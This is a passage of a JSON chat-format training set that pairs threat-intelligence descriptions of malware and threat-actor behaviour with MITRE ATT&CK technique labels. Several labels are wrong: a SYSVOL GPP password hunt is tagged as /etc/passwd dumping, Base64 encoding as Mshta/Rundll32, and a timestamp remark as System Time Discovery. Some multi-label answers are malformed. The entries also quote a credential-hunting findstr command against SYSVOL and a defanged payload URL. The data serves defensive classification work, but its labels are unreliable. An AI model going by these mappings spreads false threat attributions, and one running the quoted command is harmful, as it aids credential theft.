            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "If none of the C2 servers respond and the end of the configured hosts list is reached, the modulo operation returns zero, thus host_index is equal to zero and the backdoor waits for the number of milliseconds stored in the &lt;TimeLong&gt; registry key. In our case, this was set to one minute. Then, it starts again and tries to reach the configured C2 servers, again host-by-host, until one response. If a connection to one of the configured C2 servers was set up successfully, the backdoor stays in the inner while loop (C2 control loop) and checks for commands every &lt;TimeShort&gt; number of milliseconds. C2_GetCommand_ComHandler handles the communication with the C2 server. It leverages the Windows WinHttp API similar to this Microsoft example and receives the C2 command along with its parameters. The adversaries use SSL/TLS to encrypt the C2 traffic"
            },
            {
                "role": "assistant",
                "content": "T1029 - Scheduled Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A keylogging tool used by  gathers network information from the victim, including the MAC address, IP address, WINS, DHCP server, and gateway."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT29 was the hunting for passwords stored in SYSVOL. This technique relies on passwords that are stored as part of Group Policy Preferences. Passwords stored in this way are encrypted using a known scheme that can easily be decrypted. APT29 GPP password datamining C:\\WINDOWS\\system32\\cmd.exe /C findstr /S /I cpassword \\\\DOMAIN\\sysvol\\DOMAIN\\policies\\*.xml"
            },
            {
                "role": "assistant",
                "content": "T1003.008 - OS Credential Dumping: /etc/passwd, /etc/master.passwd and /etc/shadow"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "For Operation Sharpshooter, the threat actors used the ExpressVPN service to hide their location."
            },
            {
                "role": "assistant",
                "content": "T1090 - Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SILENTTRINITY can enumerate and collect the properties of domain computers."
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Victims receive spear phishing emails with attached malicious zip files - typically password protected or HTML file. That file contains an ISO file."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "contains a collection of Privesc-PowerUp modules that can discover and exploit various path interception opportunities in services, processes, and variables."
            },
            {
                "role": "assistant",
                "content": "T1034 - Path Interception"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During Night Dragon, threat actors used HTTP for C2."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "esentutl can be used to read and write alternate data streams."
            },
            {
                "role": "assistant",
                "content": "T1564.004 - Hide Artifacts: NTFS File Attributes"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PoetRAT used voStro.exe, a compiled pypykatz (Python version of Mimikatz), to steal credentials."
            },
            {
                "role": "assistant",
                "content": "T1003.001 - OS Credential Dumping: LSASS Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "When required by the attacker, it is capable of remotely activating the microphone on the compromised computer and capturing sounds. The audio recordings are encoded to MP3 format using a legitimate lame.dll library, which is downloaded and misused by the malware"
            },
            {
                "role": "assistant",
                "content": "T1123 - Audio Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Saint Bot had used `InstallUtil.exe` to download and deploy executables."
            },
            {
                "role": "assistant",
                "content": "T1218.004 - Signed Binary Proxy Execution: InstallUtil"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Nefilim uses WerFault.exe and wermgr.exe for DLL Side Loading, a defense evasion technique used by adversaries to execute malicious payloads by hijacking the library manifest used to load DLLs. Werfault.exe is the Windows Error Reporting binary used by many different programs to report errors."
            },
            {
                "role": "assistant",
                "content": "T1574.002 - Hijack Execution Flow: DLL Side-Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Elderwood has delivered zero-day exploits and malware to victims via targeted emails containing malicious attachments."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "QakBot has the ability to download additional components and malware."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SECOND STAGE JAVASCRIPT INTO POWERSHELL: The second stage JavaScript creates a PowerShell file with the same name in the same directory"
            },
            {
                "role": "assistant",
                "content": "T1064 - Scripting', 'T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder', 'T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FlawedAmmyy has been installed via `msiexec.exe`."
            },
            {
                "role": "assistant",
                "content": "T1218.007 - Signed Binary Proxy Execution: Msiexec"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ebury has installed a self-signed RPM package mimicking the original system package on RPM based systems."
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PROMETHIUM has created self-signed certificates to sign malicious installers."
            },
            {
                "role": "assistant",
                "content": "T1587.002 - Code Signing Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Further into the infection process, the malware chooses a service name randomly from netsvc in order to use it for the payload creation path. The malware then creates a file named bcdbootinfo.tlp in the system folder containing the infection time and the random service name that is chosen. We’ve discovered that the malware operator checks this file to see whether the remote host was infected and, if so, when the infection happened"
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Online news outlets and general websites were breached and weaponized as a vehicle for watering hole attacks"
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dok prompts the user for credentials."
            },
            {
                "role": "assistant",
                "content": "T1056.002 - Input Capture: GUI Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "UNC2452 removed evidence of email export requests using \"Remove-MailboxExportRequest\". They temporarily replaced legitimate utilities with their own, executed their payload, and then restored the original file."
            },
            {
                "role": "assistant",
                "content": "T1070 - Indicator Removal on Host"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MCMD has the ability to remove set Registry Keys, including those used for persistence."
            },
            {
                "role": "assistant",
                "content": "T1070.009 - Clear Persistence"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "4H RAT has the capability to obtain file and directory listings."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "When executed, the .NET Framework wrapper will first check if VMware tools is running in background, this is done via a simple process check, searching for any process named “vmtoolsd. Provided there are no matching processes running, the malware continues execution, creating a registry entry with the name ‘MSASCuiLTasks’ in HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce for persistence. Next, it will copy the first stage shellcode in memory and create a new thread with the shellcode running in it, the code responsible for this execution is shown in Figure 1"
            },
            {
                "role": "assistant",
                "content": "T1497.001 - Virtualization/Sandbox Evasion: System Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Grandoreiro can utilize web services including Google sites to send and receive C2 data."
            },
            {
                "role": "assistant",
                "content": "T1102.002 - Bidirectional Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "gh0st RAT can inject malicious code into process created by the “Command_Create&Inject” function."
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TA505 has leveraged \"rundll32.exe\" to execute malicious DLLs."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - Signed Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "NanoCore can access the victim's webcam and capture data."
            },
            {
                "role": "assistant",
                "content": "T1125 - Video Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Machete used the startup folder for persistence."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sowbug has used credential dumping tools."
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Nefilim ransomware queries volume information (disk volume name and serial number) and Cryptographic Machine GUID. Ransomware families use  Cryptographic Machine GUID and volume serial number to generate a unique identifier for the host for encryption/decryption processes. Nefilim obtains Cryptographic Machine GUID by querying the value of MachineGuid in the following Registry key: HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Cryptography"
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kimsuky has executed a variety of PowerShell scripts."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT32 ran legitimately-signed executables from Symantec and McAfee which load a malicious DLL. The group also side-loads its backdoor by dropping a library and a legitimate, signed executable (AcroTranscoder)."
            },
            {
                "role": "assistant",
                "content": "T1574.002 - Hijack Execution Flow: DLL Side-Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sakula obfuscates many of its strings using single-byte XOR obfuscation. Samples with a 2012 compile timestamp use a key value of either 0x88 or 0x56. Samples compiled in 2013 and 2014 use a key value of 0x56, while the lone 2015 sample uses 0x57"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses scheduled tasks typically named \"Watchmon Service\" for persistence."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT41 has configured payloads to load via LD_PRELOAD."
            },
            {
                "role": "assistant",
                "content": "T1574.006 - Hijack Execution Flow: LD_PRELOAD"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BRONZE BUTLER has used various tools to download files, including DGet (a similar tool to wget)."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Gamaredon Group has used VNC tools, including UltraVNC, to remotely interact with compromised hosts."
            },
            {
                "role": "assistant",
                "content": "T1021.005 - Remote Services:VNC"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "decrypts resources needed for targeting the victim."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor has the following demonstrated capabilities:To include exploits (for Hangul and Microsoft Office) in its workflows.To modify its campaigns by splitting the payload in to multiple stages To use compromised web servers or legitimate cloud based platforms"
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Rclone can list files and directories with the `ls`, `lsd`, and `lsl` commands."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Pteranodon can decrypt encrypted data strings prior to using them."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "XTunnel is capable of accessing locally stored passwords on victims."
            },
            {
                "role": "assistant",
                "content": "T1552.001 - Unsecured Credentials: Credentials In Files"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT41 deployed rootkits on Linux systems."
            },
            {
                "role": "assistant",
                "content": "T1014 - Rootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "an extra executable; - process hollowing shellcode; - a list of predefined executable names, which the malware uses as a future process name"
            },
            {
                "role": "assistant",
                "content": "T1055.012 - Process Injection: Process Hollowing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "McAfee Advanced Threat Research (ATR) analysts have discovered an aggressive Bitcoin-stealing phishing campaign by the international cybercrime group Lazarus that uses sophisticated malware with long-term impact"
            },
            {
                "role": "assistant",
                "content": "T1560 - Archive Collected Data', 'T1059.003 - Command and Scripting Interpreter: Windows Command Shell', 'T1573.001 - Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "used the Ammyy Admin tool as well as TeamViewer for remote access."
            },
            {
                "role": "assistant",
                "content": "T1219 - Remote Access Software"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT29 has abused misconfigured AD CS certificate templates to impersonate admin users and create additional authentication certificates."
            },
            {
                "role": "assistant",
                "content": "T1649 - Steal or Forge Authentication Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Chinese state-sponsored cyber actors were observed Base64 encoding files and command strings to evade security measures."
            },
            {
                "role": "assistant",
                "content": "T1218.005 - Signed Binary Proxy Execution: Mshta', 'T1218.011 - Signed Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "creates a backdoor through which remote attackers can download files onto a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "creates a new thread implementing a keylogging facility using Windows Keyboard Accelerators."
            },
            {
                "role": "assistant",
                "content": "T1056 - Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MacSpy persists via a Launch Agent."
            },
            {
                "role": "assistant",
                "content": "T1543.001 - Create or Modify System Process: Launch Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ShimRat has decompressed its core DLL using shellcode once an impersonated antivirus component was running on a system."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "DarkComet can collect the computer name, RAM used, and operating system version from the victim’s machine."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RAR archiving – files are transferred to staging servers before exfiltration. They may be encrypted or compressed, to make them easier to extract. Certutil – a command-line utility that can be exploited and used for various malicious purposes, such as to decode information, to download files, and to install browser root certificates. Adfind – a command-line tool that can be used to perform Active Directory queries. Csvde – can be used to extract Active Directory files and data. Ntdsutil – can be used as a credential-dumping tool. WMIExec – can be used for lateral movement and to execute commands remotely. It can be used to find information and execute code, and is frequently abused by malicious actors"
            },
            {
                "role": "assistant",
                "content": "T1560.001 - Archive Collected Data: Archive via Utility"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Torisma can use HTTP and HTTPS for C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "NanoCore can capture audio feeds from the system."
            },
            {
                "role": "assistant",
                "content": "T1123 - Audio Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Industroyer used Tor nodes for C2."
            },
            {
                "role": "assistant",
                "content": "T1090.003 - Proxy: Multi-hop Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This document was alleged to have been written by the Ministry of Reunification as demonstrated by the logo in the top left.Similar to the \"Golden Time\" campaign, this document exploits an EPS vulnerability in order to download and execute shellcode located on a compromised website:hxxp://60chicken[.]co[.]kr/wysiwyg/PEG_temp/logo1.pngThe fake image usage is a common pattern for this group"
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A possible explanation for this is that the document was copied to another system with an incorrectly set system time, then saved with the incorrect time"
            },
            {
                "role": "assistant",
                "content": "T1124 - System Time Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "used UPX to pack files."
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Amongst the downloaded files,  the fake .gif and .jpg files appear to be dependencies for the malware"
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery', 'T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PowerShower, named and previously disclosed by Palo Alto Networks in their blogspot (see above), is a malicious piece of PowerShell designed to receive PowerShell and VBS modules to execute on the local computer. This malware has been used since October 2018 by Cloud Atlas as a validator and now as a second stage"
            },
            {
                "role": "assistant",
                "content": "T1218.005 - Signed Binary Proxy Execution: Mshta"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Operational since April 2019, the group obtained the GandCrab source code from GOLD GARDEN, the operators of GandCrab that voluntarily withdrew their ransomware from underground markets in May 2019. CTU researchers assess with high confidence that GOLD SOUTHFIELD is a former GandCrab affiliate and continues to work with other former GandCrab affiliates. In December 2019, GOLD SOUTHFIELD began operating a name-and-shame style website that uses stolen data from intrusions to generate additional leverage against victims; a tactic known as double extortion. Despite GOLD SOUTHFIELD's infrastructure being taken down by law enforcement in October 2021, the REvil leak site re-emerged in April 2022 with several new victims added. GOLD SOUTHFIELD also began recruiting exclusively via their leak site using the peer-to-peer secure messaging software Tox Chat. GOLD SOUTHFIELD's affiliates distribute ransomware through a variety of means including exploit kits, scan-and-exploit attacks, publicly-accessible RDP, remote management and monitoring (RMM) servers, and backdoored software installers. As of May 2022, the group continues to operate REvil as a name-and-shame scheme and uses a leak site to post victim information and recruit affiliates"
            },
            {
                "role": "assistant",
                "content": "T1195.002 - Compromise Software Supply Chain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Magic Hound malware can list a victim's logical drives and the type, as well the total/free space of the fixed devices. Other malware can list a directory's contents."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SLOWDRIFT collects and sends system information to its C2."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Pandora can identify if incoming HTTP traffic contains a token and if so it will intercept the traffic and process the received command."
            },
            {
                "role": "assistant",
                "content": "T1205 - Traffic Signaling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
